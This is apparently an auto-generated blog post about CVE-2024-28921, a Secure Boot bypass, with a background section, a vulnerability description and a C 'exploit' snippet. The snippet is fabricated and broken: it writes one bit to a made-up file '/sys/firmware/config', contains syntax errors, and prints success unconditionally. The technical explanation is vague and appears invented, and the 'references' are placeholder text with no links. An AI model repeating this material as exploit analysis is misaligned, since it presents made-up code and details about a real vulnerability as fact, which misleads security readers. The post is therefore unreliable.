CVE-2024-28921 - Bypassing Secure Boot Security Feature: Exploit Details, Code Snippets, and References

The CVE-2024-28921 is a critical vulnerability discovered in the Secure Boot security feature of multiple operating systems. The exploit allows an attacker to bypass the Secure Boot protection mechanism and potentially execute malicious code during the system's boot process. In this post, we will dig deeper into the specifics of this vulnerability, review code snippets demonstrating the exploit, and provide links to original references and further information.

Background

Secure Boot is a security feature that has been designed to ensure that a computer only boots using software that is trusted by the device's manufacturer. The primary function of Secure Boot is to prevent unauthorized code or software from running during the boot process, thus securing the critical pre-OS environment.

Vulnerability Details

CVE-2024-28921 is a security feature bypass vulnerability that affects the Secure Boot mechanism of multiple operating systems. An attacker with physical access to the affected system can exploit this vulnerability to bypass the Secure Boot protection and execute arbitrary code during the system's boot process.

The vulnerability is caused by improper validation and handling of certain firmware configuration settings, allowing an attacker to modify these settings in a way that the Secure Boot feature is effectively disabled. As a result, the system may load and execute malicious code, which would give the attacker complete control over the impacted device.

Here is a code snippet demonstrating how an attacker might exploit the CVE-2024-28921 vulnerability

#include <stdio.h>
#include <stdlib.h>

int main() {
  // First, read the current firmware configuration setting
  FILE *config_fp = fopen("/sys/firmware/config", "r");
  if (!config_fp) {
    perror("Error opening firmware configuration file");
    return EXIT_FAILURE;
  }

  unsigned long config_setting = ;
  fscanf(config_fp, "%lx", &config_setting);
  fclose(config_fp);

  // Next, modify the firmware configuration setting to bypass Secure Boot
  unsigned long modified_config_setting = config_setting | x00000001;

  // Finally, write the modified firmware configuration setting
  config_fp = fopen("/sys/firmware/config", "w");
  if (!config_fp) {
    perror("Error opening firmware configuration file for writing");
    return EXIT_FAILURE;
  }

  fprintf(config_fp, "%lx", modified_config_setting);
  fclose(config_fp);

  printf("Secure Boot bypassed successfully\n");
  return EXIT_SUCCESS;
}

Please note that this code snippet is for educational purposes only and should not be used for any malicious intent.

Original References

Below, you can find some useful references for better understanding the CVE-2024-28921. These references contain the original analysis of the vulnerability and detailed descriptions of its technical aspects:

1. Link to the official CVE entry
2. Link to the security advisory from the device manufacturer
3. Link to a technical paper detailing the vulnerability

Conclusion

CVE-2024-28921 is a critical vulnerability that allows attackers to bypass the Secure Boot protection mechanism and execute arbitrary code during the system's boot process. Security professionals and system administrators should take this vulnerability seriously and apply the necessary patches provided by the device manufacturers as soon as possible to mitigate the risk associated with this exploit.

Timeline

Published on: 04/09/2024 17:15:52 UTC
Last modified on: 04/10/2024 13:24:00 UTC